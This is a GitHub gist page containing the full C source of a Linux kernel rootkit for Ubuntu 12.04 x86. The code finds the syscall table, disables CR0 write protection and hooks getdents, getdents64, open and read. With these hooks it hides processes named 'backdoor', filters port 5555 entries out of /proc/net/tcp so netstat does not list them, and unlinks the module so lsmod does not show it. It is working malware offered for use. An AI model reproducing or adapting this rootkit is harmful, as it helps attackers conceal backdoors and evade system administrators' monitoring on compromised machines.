Skip to content

Instantly share code, notes, and snippets.

@brickgao
Created August 6, 2016 14:13
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save brickgao/171add4bebae75a1615c91bce46cc0e1 to your computer and use it in GitHub Desktop.
Save brickgao/171add4bebae75a1615c91bce46cc0e1 to your computer and use it in GitHub Desktop.
A simple rootkit, works on Ubuntu 12.04 LTS x86
/*
* Copyright (C) <2016> <Brickgao>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
#define CALLOFF 100
int orig_cr0;
char ps_name[] = "backdoor";
char *process_name = ps_name;
const char netstat_target_string[] = "/proc/net/tcp";
const char port[] = "15B3";
int tcp_flag = 0;
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none, flags;
unsigned short off2;
} __attribute__ ((packed)) * idt;
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[];
};
void** sys_call_table;
unsigned int clear_and_return_cr0(void) {
unsigned int cr0 = 0;
unsigned int ret;
asm volatile ("movl %%cr0, %%eax"
: "=a"(cr0));
ret = cr0;
/*clear the 20th bit of CR0,*/
cr0 &= 0xfffeffff;
asm volatile ("movl %%eax, %%cr0"
:
: "a"(cr0));
return ret;
}
void setback_cr0(unsigned int val) {
asm volatile ("movl %%eax, %%cr0"
:
: "a"(val));
}
asmlinkage long (*orig_getdents64)(unsigned int fd,
struct linux_dirent64 __user *dirp, unsigned int count);
asmlinkage long (*orig_getdents)(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count);
asmlinkage ssize_t (*orig_read)(int fd, const void *buf, size_t count);
asmlinkage int (*orig_open)(const char *pathname, int flags);
char* findoffset(char *start) {
char *p;
for (p = start; p < start + CALLOFF; p++)
if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
return p;
return NULL;
}
asmlinkage long hacked_getdents64(unsigned int fd,
struct linux_dirent64 __user *dirp, unsigned int count) {
long value;
unsigned short len = 0;
unsigned short tlen = 0;
value = (*orig_getdents64) (fd, dirp, count);
tlen = value;
while(tlen > 0) {
len = dirp->d_reclen;
tlen = tlen - len;
printk("%s\n", dirp->d_name);
if (strstr(dirp->d_name, process_name)) {
printk("find process\n");
memmove(dirp, (char *)dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide successful.\n");
}
else{
if (tlen)
dirp = (struct linux_dirent64 *)((char *)dirp + dirp->d_reclen);
}
}
printk(KERN_INFO "finished hacked_getdents64.\n");
return value;
}
int myatoi(char *str) {
int res = 0, mul = 1;
char *ptr;
for (ptr = str + strlen(str) - 1; ptr >= str; ptr --) {
if (*ptr < '0' || *ptr > '9') return (-1);
res += (*ptr - '0') * mul;
mul *= 10;
}
if(res > 0 && res < 9999)
printk(KERN_INFO "pid = %d\n", res);
return res;
}
struct task_struct *get_task(pid_t pid) {
struct task_struct *p = get_current(), *entry=NULL;
list_for_each_entry(entry, &(p->tasks), tasks) {
if(entry->pid == pid) {
printk("pid found=%d\n", entry->pid);
return entry;
}
}
return NULL;
}
bool get_process(pid_t pid) {
struct task_struct *task = get_task(pid);
if (task) {
if (strstr(task->comm, process_name)) return true;
else return false;
}
else {
return true;
}
}
asmlinkage long hacked_getdents(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count) {
long value;
unsigned short len = 0;
unsigned short tlen = 0;
value = (*orig_getdents) (fd, dirp, count);
tlen = value;
while(tlen > 0) {
len = dirp->d_reclen;
tlen = tlen - len;
printk("%s\n",dirp->d_name);
if (get_process(myatoi(dirp->d_name))) {
printk(KERN_INFO "find process\n");
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide successful.\n");
}
else{
if (tlen)
dirp = (struct linux_dirent *)((char *)dirp + dirp->d_reclen);
}
}
printk(KERN_INFO "finished hacked_getdents.\n");
return value;
}
bool searchKeyword(void *buf, size_t count){
char *p;
for(p = buf; p < (char *)(buf + count); ++ p){
if(*p == port[0] && *(p + 1) == port[1] && *(p + 2) == port[2] && *(p + 3) == port[3]) {
return true;
}
}
return false;
}
ssize_t rmKeyWord(void *buf, size_t count){
char* startLine;
char* endLine;
char* mybuf;
char* p;
int length;
mybuf = startLine = endLine = buf;
for (p = buf; p < (char *)(buf + count); ++ p) {
if (*p == '\x0a' || *p == '\x0d') {
endLine = p;
length = endLine - startLine;
if(searchKeyword(startLine, length)){
memmove(startLine, endLine + 1, count - (int)(endLine + 1 - mybuf));
count = count-length-1;
p -= length;
}
startLine=p;
}
}
return count;
}
asmlinkage int hacked_open(const char *pathname, int flags){
int res;
if(!strcmp(pathname, netstat_target_string)) tcp_flag = 1;
else tcp_flag = 0;
res = (*orig_open)(pathname, flags);
return res;
}
asmlinkage ssize_t hacked_read(int fd, void *buf, size_t count){
ssize_t res;
res = (*orig_read)(fd, buf, count);
if (tcp_flag)
res = rmKeyWord(buf, res);
return res;
}
void** get_sct_addr(void) {
unsigned sys_call_off;
unsigned sct = 0;
char *p;
asm("sidt %0" : "=m"(idtr));
idt = (void *) (idtr.base + 8 * 0x80);
sys_call_off = (idt->off2 << 16) | idt->off1;
if ((p = findoffset((char *) sys_call_off)))
sct = *(unsigned *) (p + 3);
return ((void **)sct);
}
static inline void rootkit_hide(void) {
list_del(&THIS_MODULE->list);//lsmod,/proc/modules
kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules
list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry
}
static int filter_init(void) {
sys_call_table = get_sct_addr();
if (!sys_call_table)
{
printk(KERN_INFO "get_sct_addr(): NULL...\n");
return 0;
}
else {
printk(KERN_INFO "sct: 0x%x\n", (unsigned int)sys_call_table);
}
orig_getdents64 = sys_call_table[__NR_getdents64];
printk(KERN_INFO "getdents64 offset: 0x%x\n",(unsigned int)orig_getdents64);
orig_getdents = sys_call_table[__NR_getdents];
printk(KERN_INFO "getdents offset: 0x%x\n", (unsigned int)orig_getdents);
orig_open=sys_call_table[__NR_open];
printk(KERN_INFO "open offset: 0x%x\n", (unsigned int)orig_open);
orig_read=sys_call_table[__NR_read];
printk(KERN_INFO "read offset: 0x%x\n", (unsigned int)orig_read);
orig_cr0 = clear_and_return_cr0();
sys_call_table[__NR_getdents64] = hacked_getdents64;
printk(KERN_INFO "hacked_getdents64: 0x%x\n",(unsigned int)hacked_getdents64);
sys_call_table[__NR_getdents] = hacked_getdents;
printk(KERN_INFO "hacked_getdents: 0x%x\n",(unsigned int)hacked_getdents);
sys_call_table[__NR_open] = hacked_open;
printk(KERN_INFO "hacked_open: 0x%x\n",(unsigned int)hacked_open);
sys_call_table[__NR_read] = hacked_read;
printk(KERN_INFO "hacked_read: 0x%x\n",(unsigned int)hacked_read);
setback_cr0(orig_cr0);
rootkit_hide();
printk(KERN_INFO "hidebackdoor: module loaded.\n");
return 0;
}
static void filter_exit(void) {
orig_cr0 = clear_and_return_cr0();
if (sys_call_table) {
sys_call_table[__NR_getdents64] = orig_getdents64;
sys_call_table[__NR_getdents] = orig_getdents;
sys_call_table[__NR_open] = orig_open;
sys_call_table[__NR_read] = orig_read;
}
setback_cr0(orig_cr0);
printk(KERN_INFO "hidebackdoor: module removed\n");
}
module_init(filter_init);
module_exit(filter_exit);
MODULE_LICENSE("GPL");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment